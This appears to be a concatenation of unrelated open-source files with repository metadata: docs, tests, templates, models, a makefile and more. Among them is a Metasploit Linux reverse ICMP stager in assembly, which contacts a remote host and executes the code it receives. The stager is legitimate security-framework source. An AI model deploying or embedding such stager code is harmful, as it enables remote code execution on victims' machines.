for your region. Access-key, secret-key and the security-token need to be issued by the authentication side. For more information about STS, refer to https://help.aliyun.com/document_detail/31867.html[STS Documentation]. === More Configurations for the Client In addition to basic configurations, Spring Cloud Alibaba Cloud OSS also supports many other configurations, which are also included in the application.properties file. Here are some examples. [source,properties] ---- spring.cloud.alicloud.oss.authorization-mode=STS spring.cloud.alicloud.oss.endpoint=***.aliyuncs.com spring.cloud.alicloud.oss.sts.access-key=Your authenticated AK spring.cloud.alicloud.oss.sts.secret-key=Your authenticated SK spring.cloud.alicloud.oss.sts.security-token=Your authenticated ST spring.cloud.alicloud.oss.config.connection-timeout=3000 spring.cloud.alicloud.oss.config.max-connections=1000 ---- For more configurations, refer to the table at the bottom of https://help.aliyun.com/document_detail/32010.html[OSSClient Configurations]. NOTE: In most cases, you need to connect the parameter names with “-” for the parameters in the table of https://help.aliyun.com/document_detail/32010.html[OSSClient Configurations] with “-”, and all letters should be in lowercase. For example, ConnectionTimeout should be changed to connection-timeout.
AsciiDoc
4
chenjj950307/spring-cloud-aibaba
spring-cloud-alibaba-docs/src/main/asciidoc/oss.adoc
[ "Apache-2.0" ]
export { default } from './List'; export * from './List'; export { default as listClasses } from './listClasses'; export * from './listClasses';
TypeScript
3
good-gym/material-ui
packages/material-ui/src/List/index.d.ts
[ "MIT" ]
size: 1024px 512px; dpi: 96; bars { limit-x: 0 13; scale-y-padding: 5; data-x: csv("test/testdata/city_temperatures.csv" month); data-y: csv("test/testdata/city_temperatures.csv" temp_moscow); width: 2em; color: #666; }
CLIPS
3
asmuth-archive/travistest
test/plot-bars/bars_negative_values.clp
[ "Apache-2.0" ]
module.exports = function(name) { var a = load(require, name); var r = require; var b = r(name); if(a !== b) return "FAIL"; return a; } function load(requireFunction, name) { return requireFunction(name); }
JavaScript
3
1shenxi/webpack
test/cases/parsing/context/templates/templateLoaderIndirect.js
[ "MIT" ]
type MyResultPriv<T> = Result<T, u16>; pub type MyResultPub<T> = Result<T, u64>; // @has private_type_alias/fn.get_result_priv.html '//pre' 'Result<u8, u16>' pub fn get_result_priv() -> MyResultPriv<u8> { panic!(); } // @has private_type_alias/fn.get_result_pub.html '//pre' 'MyResultPub<u32>' pub fn get_result_pub() -> MyResultPub<u32> { panic!(); } pub type PubRecursive = u16; type PrivRecursive3 = u8; type PrivRecursive2 = PubRecursive; type PrivRecursive1 = PrivRecursive3; // PrivRecursive1 is expanded twice and stops at u8 // PrivRecursive2 is expanded once and stops at public type alias PubRecursive // @has private_type_alias/fn.get_result_recursive.html '//pre' '(u8, PubRecursive)' pub fn get_result_recursive() -> (PrivRecursive1, PrivRecursive2) { panic!(); } type MyLifetimePriv<'a> = &'a isize; // @has private_type_alias/fn.get_lifetime_priv.html '//pre' "&'static isize" pub fn get_lifetime_priv() -> MyLifetimePriv<'static> { panic!(); }
Rust
4
Eric-Arellano/rust
src/test/rustdoc/private-type-alias.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
;; ; ; Name: stager_sock_reverse_icmp ; Qualities: Can Have Nulls ; Platforms: Linux ; Authors: skape <mmiller [at] hick.org> ; vlad902 <vlad902 [at] gmail.com> ; Version: $Revision: 1417 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Implementation of a Linux reverse ICMP stager. This ; payload sends an ICMP echo request to a remote host ; and then waits for a response. ; ;; BITS 32 GLOBAL _start _start: socket: push byte 0x1 pop ebx push ebx push byte 0x3 push byte 0x2 push byte 0x66 pop eax cdq mov ecx, esp int 0x80 xchg eax, ebx sendto: pop ecx push dword 0x0100007f ; RHOST push ecx mov ecx, esp push edx push edx push word 0xfff7 o16 push byte 0x8 mov edi, esp push byte 0x10 push ecx push edx push byte 0x9 push edi push ebx mov ecx, esp push byte 0xb pop ebx mov al, 0x66 int 0x80 read: pop ebx mov al, 0x3 mov dh, 0xc int 0x80 push byte 0x1c pop edx add ecx, edx jmp ecx
Assembly
3
OsmanDere/metasploit-framework
external/source/shellcode/linux/ia32/stager_sock_reverse_icmp.asm
[ "BSD-2-Clause", "BSD-3-Clause" ]
Instr("cs.fm.BasicFM", { arg freq = 440, amp = 0.9, gate = 0, carrierFreqRatio = 1.0, modulatorFreqRatio = 1.0, // not sure if having these defaults here actually does anything. modEnvShape = Env.adsr( attackTime: 0.05, decayTime: 0.1, sustainLevel: 0.5 * amp, releaseTime: 0.1, peakLevel: amp, curve: [4, -4, -2] ), carrierEnvShape = Env.adsr( attackTime: 0.05, decayTime: 0.1, sustainLevel: 0.5 * amp, releaseTime: 0.1, peakLevel: amp, curve: [4, -4, -2] ); var carrier, modulator, carrierEnv, modEnv, out; modEnv = EnvGen.kr( envelope: modEnvShape, gate: gate ); modulator = modEnv * SinOsc.ar(freq * modulatorFreqRatio); // carrier sustains until noteoff carrierEnvShape.releaseNode = 2; carrierEnv = EnvGen.kr( envelope: carrierEnvShape, gate: gate ); carrier = carrierEnv * SinOsc.ar( (freq * carrierFreqRatio) + (modulator * freq) ); // free synth when both carrier and modulator envelopes are done FreeSelf.kr(Done.kr(carrierEnv) + Done.kr(modEnv) - 1); out = amp * carrier; }, [ \freq.asSpec(), \amp.asSpec(), \nil, ControlSpec(0.1, 10), ControlSpec(0.1, 10), EnvSpec(Env.adsr( attackTime: 0.05, decayTime: 0.1, sustainLevel: 0.8, releaseTime: 0.1, peakLevel: 1.0, curve: [4, -4, -2] )), EnvSpec(Env.adsr( attackTime: 0.05, decayTime: 0.1, sustainLevel: 0.8, releaseTime: 0.1, peakLevel: 1.0, curve: [4, -4, -2] )) ]);
SuperCollider
4
btashton/pygments
tests/examplefiles/example.scd
[ "BSD-2-Clause" ]
"""Fixtures for IntelliFire integration tests.""" from collections.abc import Generator from unittest.mock import AsyncMock, MagicMock, Mock, patch from aiohttp.client_reqrep import ConnectionKey import pytest @pytest.fixture def mock_setup_entry() -> Generator[AsyncMock, None, None]: """Mock setting up a config entry.""" with patch( "homeassistant.components.intellifire.async_setup_entry", return_value=True ) as mock_setup: yield mock_setup @pytest.fixture() def mock_fireplace_finder_none() -> Generator[None, MagicMock, None]: """Mock fireplace finder.""" mock_found_fireplaces = Mock() mock_found_fireplaces.ips = [] with patch( "homeassistant.components.intellifire.config_flow.AsyncUDPFireplaceFinder.search_fireplace" ): yield mock_found_fireplaces @pytest.fixture() def mock_fireplace_finder_single() -> Generator[None, MagicMock, None]: """Mock fireplace finder.""" mock_found_fireplaces = Mock() mock_found_fireplaces.ips = ["192.168.1.69"] with patch( "homeassistant.components.intellifire.config_flow.AsyncUDPFireplaceFinder.search_fireplace" ): yield mock_found_fireplaces @pytest.fixture def mock_intellifire_config_flow() -> Generator[None, MagicMock, None]: """Return a mocked IntelliFire client.""" data_mock = Mock() data_mock.serial = "12345" with patch( "homeassistant.components.intellifire.config_flow.IntellifireAsync", autospec=True, ) as intellifire_mock: intellifire = intellifire_mock.return_value intellifire.data = data_mock yield intellifire def mock_api_connection_error() -> ConnectionError: """Return a fake a ConnectionError for iftapi.net.""" ret = ConnectionError() ret.args = [ConnectionKey("iftapi.net", 443, False, None, None, None, None)] return ret
Python
4
liangleslie/core
tests/components/intellifire/conftest.py
[ "Apache-2.0" ]
--TEST-- Bug #81409: Incorrect JIT code for ADD with a reference to array --EXTENSIONS-- opcache --INI-- opcache.enable=1 opcache.enable_cli=1 opcache.jit_buffer_size=1M opcache.jit=tracing --FILE-- <?php function foo(&$a) { $n = count($a); $a = $a + [$n=>1]; } function bar() { $x = []; for ($i = 0; $i < 200; $i++) { foo($x); } var_dump(count($x)); } bar(); ?> --EXPECT-- int(200)
PHP
4
NathanFreeman/php-src
ext/opcache/tests/jit/bug81409.phpt
[ "PHP-3.01" ]
"""Test basic initialization for the Legacy Nest API using mocks for the Nest python library.""" from unittest.mock import MagicMock, PropertyMock, patch import pytest from .common import TEST_CONFIG_LEGACY DOMAIN = "nest" @pytest.fixture def nest_test_config(): """Fixture to specify the overall test fixture configuration.""" return TEST_CONFIG_LEGACY def make_thermostat(): """Make a mock thermostat with dummy values.""" device = MagicMock() type(device).device_id = PropertyMock(return_value="a.b.c.d.e.f.g") type(device).name = PropertyMock(return_value="My Thermostat") type(device).name_long = PropertyMock(return_value="My Thermostat") type(device).serial = PropertyMock(return_value="serial-number") type(device).mode = "off" type(device).hvac_state = "off" type(device).target = PropertyMock(return_value=31.0) type(device).temperature = PropertyMock(return_value=30.1) type(device).min_temperature = PropertyMock(return_value=10.0) type(device).max_temperature = PropertyMock(return_value=50.0) type(device).humidity = PropertyMock(return_value=40.4) type(device).software_version = PropertyMock(return_value="a.b.c") return device async def test_thermostat(hass, setup_base_platform): """Test simple initialization for thermostat entities.""" thermostat = make_thermostat() structure = MagicMock() type(structure).name = PropertyMock(return_value="My Room") type(structure).thermostats = PropertyMock(return_value=[thermostat]) type(structure).eta = PropertyMock(return_value="away") nest = MagicMock() type(nest).structures = PropertyMock(return_value=[structure]) with patch("homeassistant.components.nest.legacy.Nest", return_value=nest), patch( "homeassistant.components.nest.legacy.sensor._VALID_SENSOR_TYPES", ["humidity", "temperature"], ), patch( "homeassistant.components.nest.legacy.binary_sensor._VALID_BINARY_SENSOR_TYPES", {"fan": None}, ): await setup_base_platform() climate = hass.states.get("climate.my_thermostat") assert climate is not None assert climate.state == "off" temperature = hass.states.get("sensor.my_thermostat_temperature") assert temperature is not None assert temperature.state == "-1.1" humidity = hass.states.get("sensor.my_thermostat_humidity") assert humidity is not None assert humidity.state == "40.4" fan = hass.states.get("binary_sensor.my_thermostat_fan") assert fan is not None assert fan.state == "on"
Python
5
MrDelik/core
tests/components/nest/test_init_legacy.py
[ "Apache-2.0" ]
## Licensed to Cloudera, Inc. under one ## or more contributor license agreements. See the NOTICE file ## distributed with this work for additional information ## regarding copyright ownership. Cloudera, Inc. licenses this file ## to you under the Apache License, Version 2.0 (the ## "License"); you may not use this file except in compliance ## with the License. You may obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed under the License is distributed on an "AS IS" BASIS, ## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ## See the License for the specific language governing permissions and ## limitations under the License. <%! import sys from desktop.views import commonheader, commonfooter if sys.version_info[0] > 2: from django.utils.translation import gettext as _ else: from django.utils.translation import ugettext as _ %> <%namespace name="comps" file="jobbrowser_components.mako" /> ${ commonheader(_('Task Trackers'), "jobbrowser", user, request) | n,unicode } ${ comps.menubar()} <div class="container-fluid"> <div class="row-fluid"> <div class="span12"> <div class="card card-small"> <h2 class="card-heading simple">${_('Task Trackers')}</h2> <div class="card-body"> <p> <table class="datatables" style="width: 100%"> <thead> <tr> <th>${_('Name')}</th> <th>${_('Host')}</th> <th>${_('Port')}</th> <th>${_('Last Seen')}</th> <th>${_('Available Space')}</th> <th>${_('Failure Count')}</th> <th>${_('Map Count')}</th> <th>${_('Reduce Count')}</th> <th>${_('Max Map Tasks')}</th> <th>${_('Max Reduce Tasks')}</th> </tr> </thead> <tbody> % for t in trackers: <tr> <td><a href="/jobbrowser/trackers/${t.trackerId}">${t.trackerId}</a></td> <td>${t.host}</td> <td>${t.httpPort}</td> <td>${t.lastSeenFormatted}</td> <td>${t.availableSpace}</td> <td>${t.failureCount}</td> <td>${t.mapCount}</td> <td>${t.reduceCount}</td> <td>${t.maxMapTasks}</td> <td>${t.maxReduceTasks}</td> </tr> % endfor </tbody> </table> <div id="trackerDialog"></div> </p> </div> </div> </div> </div> </div> <script type="text/javascript"> $(document).ready(function(){ $(".datatables").dataTable({ "bPaginate": false, "bLengthChange": false, "bFilter": false, "bInfo": false, "oLanguage": { "sEmptyTable": "${_('No data available')}", "sZeroRecords": "${_('No matching records')}", } }); }); </script> ${ commonfooter(request, messages) | n,unicode }
Mako
3
yetsun/hue
apps/jobbrowser/src/jobbrowser/templates/tasktrackers.mako
[ "Apache-2.0" ]
Class { #name : #GtNotificationDismissedStatus, #superclass : #GtNotificationStatus, #category : 'GToolkit-World-Notifications' } { #category : #accessing } GtNotificationDismissedStatus class >> registryValue [ ^ 'dismissed' ] { #category : #testing } GtNotificationDismissedStatus >> isDismissed [ ^ true ]
Smalltalk
4
feenkcom/gtoolk
src/GToolkit-World/GtNotificationDismissedStatus.class.st
[ "MIT" ]
// check-pass #![feature(generic_associated_types)] use std::marker::PhantomData; trait Family: Sized { type Item<'a>; fn apply_all<F>(&self, f: F) where F: FamilyItemFn<Self> { } } struct Array<T>(PhantomData<T>); impl<T: 'static> Family for Array<T> { type Item<'a> = &'a T; } trait FamilyItemFn<T: Family> { fn apply(&self, item: T::Item<'_>); } impl<T, F> FamilyItemFn<T> for F where T: Family, for<'a> F: Fn(T::Item<'a>) { fn apply(&self, item: T::Item<'_>) { (*self)(item); } } fn process<T: 'static>(array: Array<T>) { // Works array.apply_all(|x: &T| { }); // ICE: NoSolution array.apply_all(|x: <Array<T> as Family>::Item<'_>| { }); } fn main() {}
Rust
4
ohno418/rust
src/test/ui/higher-rank-trait-bounds/normalize-under-binder/issue-90612.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
# $Id: presol.zpl,v 1.7 2010/06/10 19:42:40 bzfkocht Exp $ #* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * #* * #* File....: presol.zpl * #* Name....: Presolve test * #* Author..: Thorsten Koch * #* Copyright by Author, All rights reserved * #* * #* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * #* #* Copyright (C) 2004-2018 by Thorsten Koch <[email protected]> #* #* This program is free software; you can redistribute it and/or #* modify it under the terms of the GNU General Public License #* as published by the Free Software Foundation; either version 2 #* of the License, or (at your option) any later version. #* #* This program is distributed in the hope that it will be useful, #* but WITHOUT ANY WARRANTY; without even the implied warranty of #* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #* GNU General Public License for more details. #* #* You should have received a copy of the GNU General Public License #* along with this program; if not, write to the Free Software #* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. #* set I := { 1..5 }; var x[<i> in I] binary startval i mod 2; var y[<i> in I] integer <= 2 * i priority i * 10 startval istart; var z[<i> in I] <= 4 * i; var w[<i> in I] integer >= 1 <= if i mod 2 == 1 then 1 else 2 end; minimize cost: sum <i> in I : -(x[i] + y[i]); subto c1: forall <i> in I: x[i] <= 1; subto c2: y[1] + y[2] == 6; subto c3: sum <i> in I: x[i] <= 3; subto c4: sum <i> in I: y[i] == 15; subto c5: forall <i> in I: y[i] >= z[i]; subto c6: forall <i> in I with i < 3: x[i] <= z[i]; subto c7: forall <i> in I with i >= 3: 1 <= x[i] + y[i] <= 100; subto c8: forall <i> in I with i mod 2 == 1: -3 * w[i] == -3; subto c9: w[2] >= 2; subto c10: w[4] <= 2;
Zimpl
3
npwebste/UPS_Controller
lib/scipoptsuite-5.0.1/zimpl/check/presol.zpl
[ "AFL-1.1" ]
import io.vertx.ceylon.platform { Verticle, Container } import io.vertx.ceylon.core { Vertx } import io.vertx.ceylon.core.http { HttpServerRequest } import org.vertx.java.core.buffer { Buffer } shared class Server() extends Verticle() { shared actual void start(Vertx vertx, Container container) { vertx.createHttpServer().requestHandler(void(HttpServerRequest req) { print("Got request: ``req.uri``"); print("Headers are: "); for (header in req.headers) { print("``header.key``: ``header.item``"); } req.stream.dataHandler(void(Buffer buffer) { print("Got data: ``buffer``"); }); req.stream.endHandler(void() { req.response.chunked = true; for (i in 0..10) { req.response.write("server-data-chunk-``i``"); } req.response.end(); }); }).listen(8282); } }
Ceylon
4
vietj/vertx-examples
src/raw/ceylon/proxyserver/Server.ceylon
[ "Apache-2.0" ]
module util/seqrel[elem] /* * A sequence utility for modeling sequences as just a * relation as opposed to reifying them into sequence * atoms like the util/sequence module does. * * @author Greg Dennis */ open util/integer open util/ordering[SeqIdx] as ord sig SeqIdx {} /** sequence covers a prefix of SeqIdx */ pred isSeq[s: SeqIdx -> elem] { s in SeqIdx -> lone elem s.inds - ord/next[s.inds] in ord/first } /** returns all the elements in this sequence */ fun elems [s: SeqIdx -> elem]: set elem { SeqIdx.s } /** returns the first element in the sequence */ fun first [s: SeqIdx -> elem]: lone elem { s[ord/first] } /** returns the last element in the sequence */ fun last [s: SeqIdx -> elem]: lone elem { s[lastIdx[s]] } /** returns the cdr of the sequence */ fun rest [s: SeqIdx -> elem] : SeqIdx -> elem { (ord/next).s } /** returns all but the last element of the sequence */ fun butlast [s: SeqIdx -> elem] : SeqIdx -> elem { (SeqIdx - lastIdx[s]) <: s } /** true if the sequence is empty */ pred isEmpty [s: SeqIdx -> elem] { no s } /** true if this sequence has duplicates */ pred hasDups [s: SeqIdx -> elem] { # elems[s] < # inds[s] } /** returns all the indices occupied by this sequence */ fun inds [s: SeqIdx -> elem]: set SeqIdx { s.elem } /** returns last index occupied by this sequence */ fun lastIdx [s: SeqIdx -> elem]: lone SeqIdx { ord/max[inds[s]] } /** * returns the index after the last index * if this sequence is empty, returns the first index, * if this sequence is full, returns empty set */ fun afterLastIdx [s: SeqIdx -> elem] : lone SeqIdx { ord/min[SeqIdx - inds[s]] } /** returns first index at which given element appears or the empty set if it doesn't */ fun idxOf [s: SeqIdx -> elem, e: elem] : lone SeqIdx { ord/min[indsOf[s, e]] } /** returns last index at which given element appears or the empty set if it doesn't */ fun lastIdxOf [s: SeqIdx -> elem, e: elem] : lone SeqIdx { ord/max[indsOf[s, e]] } /** returns set of indices at which given element appears or the empty set if it doesn't */ fun indsOf [s: SeqIdx -> elem, e: elem] : set SeqIdx { s.e } /** * return the result of appending e to the end of s * just returns s if s exhausted SeqIdx */ fun add [s: SeqIdx -> elem, e: elem] : SeqIdx -> elem { setAt[s, afterLastIdx[s], e] } /** returns the result of setting the value at index i in sequence to e */ fun setAt [s: SeqIdx -> elem, i: SeqIdx, e: elem] : SeqIdx -> elem { s ++ i -> e } /** returns the result of inserting value e at index i */ fun insert [s: SeqIdx -> elem, i: SeqIdx, e: elem] : SeqIdx -> elem { (ord/prevs[i] <: s) + (i->e) + (~(ord/next)).((ord/nexts[i] + i) <: s) } /** returns the result of deleting the value at index i */ fun delete[s: SeqIdx -> elem, i: SeqIdx] : SeqIdx -> elem { (ord/prevs[i] <: s) + (ord/next).(ord/nexts[i] <: s) } /** appended is the result of appending s2 to s1 */ fun append [s1, s2: SeqIdx -> elem] : SeqIdx -> elem { let shift = {i2, i: SeqIdx | #ord/prevs[i2] = add[#ord/prevs[i], add[#ord/prevs[lastIdx[s1]], 1]] } | s1 + shift.s2 } /** returns the subsequence of s between from and to, inclusive */ fun subseq [s: SeqIdx -> elem, from, to: SeqIdx] : SeqIdx -> elem { let shift = {i2, i: SeqIdx | #ord/prevs[i2] = sub[#ord/prevs[i], #ord/prevs[from]] } | shift.((SeqIdx - ord/nexts[to]) <: s) } fun firstIdx: SeqIdx { ord/first } fun finalIdx: SeqIdx { ord/last }
Alloy
4
haslab/Electrum
electrum/src/main/resources/models/util/seqrel.als
[ "MIT" ]
#***************************************************************************** # * # Make file for VMS * # Author : J.Jansen ([email protected]) * # Date : 9 November 1999 * # * #***************************************************************************** .first define wx [--.include.wx] set command $disk2:[joukj.com]bison.cld .ifdef __WXMOTIF__ CXX_DEFINE = /define=(__WXMOTIF__=1)/name=(as_is,short)\ /assume=(nostdnew,noglobal_array_new) CC_DEFINE = /define=(__WXMOTIF__=1)/name=(as_is,short) .else .ifdef __WXGTK__ .ifdef __WXUNIVERSAL__ CXX_DEFINE = /define=(__WXGTK__=1,__WXUNIVERSAL__==1)/float=ieee\ /name=(as_is,short)/ieee=denorm/assume=(nostdnew,noglobal_array_new) CC_DEFINE = /define=(__WXGTK__=1,__WXUNIVERSAL__==1)/float=ieee\ /name=(as_is,short)/ieee=denorm .else CXX_DEFINE = /define=(__WXGTK__=1)/float=ieee/name=(as_is,short)/ieee=denorm\ /assume=(nostdnew,noglobal_array_new) CC_DEFINE = /define=(__WXGTK__=1)/float=ieee/name=(as_is,short)/ieee=denorm .endif .else CXX_DEFINE = CC_DEFINE = .endif .endif YACC=bison/yacc SED=gsed LEX=flex .suffixes : .cpp .cpp.obj : cxx $(CXXFLAGS)$(CXX_DEFINE) $(MMS$TARGET_NAME).cpp .c.obj : cc $(CFLAGS)$(CC_DEFINE) $(MMS$TARGET_NAME).c OBJECTS = \ parser.obj,\ appcmn.obj,\ artprov.obj,\ artstd.obj,\ choiccmn.obj,\ clipcmn.obj,\ clntdata.obj,\ cmdline.obj,\ cmdproc.obj,\ cmndata.obj,\ config.obj,\ containr.obj,\ cshelp.obj,\ ctrlcmn.obj,\ ctrlsub.obj,\ datetime.obj,\ datstrm.obj,\ db.obj,\ dbgrid.obj,\ dbtable.obj,\ dcbase.obj,\ dircmn.obj,\ dlgcmn.obj,\ dobjcmn.obj,\ docmdi.obj,\ docview.obj,\ dynarray.obj,\ dynlib.obj,\ encconv.obj,\ event.obj,\ extended.obj,\ ffile.obj,\ file.obj,\ fileconf.obj,\ filename.obj,\ filefn.obj,\ filesys.obj,\ fontcmn.obj,\ fontmap.obj,\ framecmn.obj OBJECTS1=fs_inet.obj,\ fs_zip.obj,\ ftp.obj,\ gdicmn.obj,\ gifdecod.obj,\ hash.obj,\ hashmap.obj,\ helpbase.obj,\ http.obj,\ iconbndl.obj,\ imagall.obj,\ imagbmp.obj,\ image.obj,\ imagfill.obj,\ imaggif.obj,\ imagiff.obj,\ imagjpeg.obj,\ imagpcx.obj,\ imagpng.obj,\ imagpnm.obj,\ imagtiff.obj,\ imagxpm.obj,\ intl.obj,\ ipcbase.obj,\ layout.obj,\ lboxcmn.obj,\ list.obj,\ log.obj,\ longlong.obj,\ memory.obj,\ menucmn.obj,\ mimecmn.obj,\ module.obj,\ msgout.obj,\ mstream.obj,\ nbkbase.obj,\ object.obj,\ paper.obj,\ popupcmn.obj,\ prntbase.obj,\ process.obj,\ protocol.obj,\ quantize.obj,\ resource.obj,\ sckaddr.obj,\ sckfile.obj,\ sckipc.obj,\ sckstrm.obj,\ sizer.obj,\ socket.obj,\ settcmn.obj,\ statbar.obj,\ strconv.obj,\ stream.obj,\ string.obj,\ sysopt.obj,\ tbarbase.obj,\ textbuf.obj,\ textcmn.obj,\ textfile.obj,\ timercmn.obj,\ tokenzr.obj,\ toplvcmn.obj,\ treebase.obj,\ txtstrm.obj,\ unzip.obj,\ url.obj OBJECTS2=utilscmn.obj,\ valgen.obj,\ validate.obj,\ valtext.obj,\ variant.obj,\ wfstream.obj,\ wincmn.obj,\ wxchar.obj,\ wxexpr.obj,\ xpmdecod.obj,\ zipstrm.obj,\ zstream.obj SOURCES = \ parser.y,\ appcmn.cpp,\ artprov.cpp,\ artstd.cpp,\ choiccmn.cpp,\ clipcmn.cpp,\ clntdata.cpp,\ cmdline.cpp,\ cmdproc.cpp,\ cmndata.cpp,\ config.cpp,\ containr.cpp,\ cshelp.cpp,\ ctrlcmn.cpp,\ ctrlsub.cpp,\ datetime.cpp,\ datstrm.cpp,\ db.cpp,\ dbgrid.cpp,\ dbtable.cpp,\ dcbase.cpp,\ dircmn.cpp,\ dlgcmn.cpp,\ dobjcmn.cpp,\ docmdi.cpp,\ docview.cpp,\ dynarray.cpp,\ dynlib.cpp,\ encconv.cpp,\ event.cpp,\ extended.c,\ ffile.cpp,\ file.cpp,\ fileconf.cpp,\ filename.cpp,\ filefn.cpp,\ filesys.cpp,\ fontcmn.cpp,\ fontmap.cpp,\ framecmn.cpp,\ fs_inet.cpp,\ fs_zip.cpp,\ ftp.cpp,\ gdicmn.cpp,\ gifdecod.cpp,\ hash.cpp,\ hashmap.cpp,\ helpbase.cpp,\ http.cpp,\ iconbndl.cpp,\ imagall.cpp,\ imagbmp.cpp,\ image.cpp,\ imagfill.cpp,\ imaggif.cpp,\ imagiff.cpp,\ imagjpeg.cpp,\ imagpcx.cpp,\ imagpng.cpp,\ imagpnm.cpp,\ imagtiff.cpp,\ imagxpm.cpp,\ intl.cpp,\ ipcbase.cpp,\ layout.cpp,\ lboxcmn.cpp,\ list.cpp,\ log.cpp,\ longlong.cpp,\ memory.cpp,\ menucmn.cpp,\ mimecmn.cpp,\ module.cpp,\ msgout.cpp,\ mstream.cpp,\ nbkbase.cpp,\ object.cpp,\ paper.cpp,\ popupcmn.cpp,\ prntbase.cpp,\ process.cpp,\ protocol.cpp,\ quantize.cpp,\ resource.cpp,\ sckaddr.cpp,\ sckfile.cpp,\ sckipc.cpp,\ sckstrm.cpp,\ sizer.cpp,\ socket.cpp,\ settcmn.cpp,\ statbar.cpp,\ strconv.cpp,\ stream.cpp,\ sysopt.cpp,\ string.cpp,\ tbarbase.cpp,\ textbuf.cpp,\ textcmn.cpp,\ textfile.cpp,\ timercmn.cpp,\ tokenzr.cpp,\ toplvcmn.cpp,\ treebase.cpp,\ txtstrm.cpp,\ unzip.c,\ url.cpp,\ utilscmn.cpp,\ valgen.cpp,\ validate.cpp,\ valtext.cpp,\ variant.cpp,\ wfstream.cpp,\ wincmn.cpp,\ wxchar.cpp,\ wxexpr.cpp,\ xpmdecod.cpp,\ zipstrm.cpp,\ zstream.cpp all : $(SOURCES) $(MMS)$(MMSQUALIFIERS) $(OBJECTS) $(MMS)$(MMSQUALIFIERS) $(OBJECTS1) $(MMS)$(MMSQUALIFIERS) $(OBJECTS2) .ifdef __WXMOTIF__ library [--.lib]libwx_motif.olb $(OBJECTS) library [--.lib]libwx_motif.olb $(OBJECTS1) library [--.lib]libwx_motif.olb $(OBJECTS2) .else .ifdef __WXGTK__ .ifdef __WXUNIVERSAL__ library [--.lib]libwx_gtk_univ.olb $(OBJECTS) library [--.lib]libwx_gtk_univ.olb $(OBJECTS1) library [--.lib]libwx_gtk_univ.olb $(OBJECTS2) .else library [--.lib]libwx_gtk.olb $(OBJECTS) library [--.lib]libwx_gtk.olb $(OBJECTS1) library [--.lib]libwx_gtk.olb $(OBJECTS2) .endif .endif .endif parser.obj : parser.c lexer.c parser.c : parser.y lexer.c $(YACC) parser.y pipe $(SED) -e "s;y_tab.c;parser.y;g" < y_tab.c | \ $(SED) -e "s/BUFSIZ/5000/g" | \ $(SED) -e "s/YYLMAX 200/YYLMAX 5000/g" | \ $(SED) -e "s/yy/PROIO_yy/g" | \ $(SED) -e "s/input/PROIO_input/g" | \ $(SED) -e "s/unput/PROIO_unput/g" > parser.c delete y_tab.c;* lexer.c : lexer.l $(LEX) lexer.l pipe $(SED) -e "s;lexyy.c;lexer.l;g" < lexyy.c | \ $(SED) -e "s/yy/PROIO_yy/g" | \ $(SED) -e "s/input/PROIO_input/g" | \ $(SED) -e "s/unput/PROIO_unput/g" > lexer.c delete lexyy.c;* appcmn.obj : appcmn.cpp artprov.obj : artprov.cpp artstd.obj : artstd.cpp choiccmn.obj : choiccmn.cpp clipcmn.obj : clipcmn.cpp clntdata.obj : clntdata.cpp cmdline.obj : cmdline.cpp cmdproc.obj : cmdproc.cpp cmndata.obj : cmndata.cpp config.obj : config.cpp containr.obj : containr.cpp cshelp.obj : cshelp.cpp ctrlcmn.obj : ctrlcmn.cpp ctrlsub.obj : ctrlsub.cpp datetime.obj : datetime.cpp datstrm.obj : datstrm.cpp db.obj : db.cpp dbgrid.obj : dbgrid.cpp dbtable.obj : dbtable.cpp dcbase.obj : dcbase.cpp dircmn.obj : dircmn.cpp dlgcmn.obj : dlgcmn.cpp dobjcmn.obj : dobjcmn.cpp docmdi.obj : docmdi.cpp docview.obj : docview.cpp dynarray.obj : dynarray.cpp dynlib.obj : dynlib.cpp encconv.obj : encconv.cpp event.obj : event.cpp extended.obj : extended.c ffile.obj : ffile.cpp file.obj : file.cpp fileconf.obj : fileconf.cpp filefn.obj : filefn.cpp filename.obj : filename.cpp filesys.obj : filesys.cpp fontcmn.obj : fontcmn.cpp fontmap.obj : fontmap.cpp framecmn.obj : framecmn.cpp fs_inet.obj : fs_inet.cpp fs_zip.obj : fs_zip.cpp ftp.obj : ftp.cpp gdicmn.obj : gdicmn.cpp gifdecod.obj : gifdecod.cpp hash.obj : hash.cpp hashmap.obj : hashmap.cpp helpbase.obj : helpbase.cpp http.obj : http.cpp iconbndl.obj : iconbndl.cpp imagall.obj : imagall.cpp imagbmp.obj : imagbmp.cpp image.obj : image.cpp imagfill.obj : imagfill.cpp imaggif.obj : imaggif.cpp imagiff.obj : imagiff.cpp imagjpeg.obj : imagjpeg.cpp imagpcx.obj : imagpcx.cpp imagpng.obj : imagpng.cpp imagpnm.obj : imagpnm.cpp imagtiff.obj : imagtiff.cpp imagxpm.obj : imagxpm.cpp intl.obj : intl.cpp ipcbase.obj : ipcbase.cpp layout.obj : layout.cpp lboxcmn.obj : lboxcmn.cpp list.obj : list.cpp log.obj : log.cpp longlong.obj : longlong.cpp memory.obj : memory.cpp menucmn.obj : menucmn.cpp mimecmn.obj : mimecmn.cpp module.obj : module.cpp msgout.obj : msgout.cpp mstream.obj : mstream.cpp nbkbase.obj : nbkbase.cpp object.obj : object.cpp paper.obj : paper.cpp popupcmn.obj : popupcmn.cpp prntbase.obj : prntbase.cpp process.obj : process.cpp protocol.obj : protocol.cpp quantize.obj : quantize.cpp resource.obj : resource.cpp sckaddr.obj : sckaddr.cpp sckfile.obj : sckfile.cpp sckipc.obj : sckipc.cpp sckstrm.obj : sckstrm.cpp sizer.obj : sizer.cpp socket.obj : socket.cpp settcmn.obj : settcmn.cpp statbar.obj : statbar.cpp strconv.obj : strconv.cpp stream.obj : stream.cpp sysopt.obj : sysopt.cpp string.obj : string.cpp tbarbase.obj : tbarbase.cpp textbuf.obj : textbuf.cpp textcmn.obj : textcmn.cpp textfile.obj : textfile.cpp timercmn.obj : timercmn.cpp tokenzr.obj : 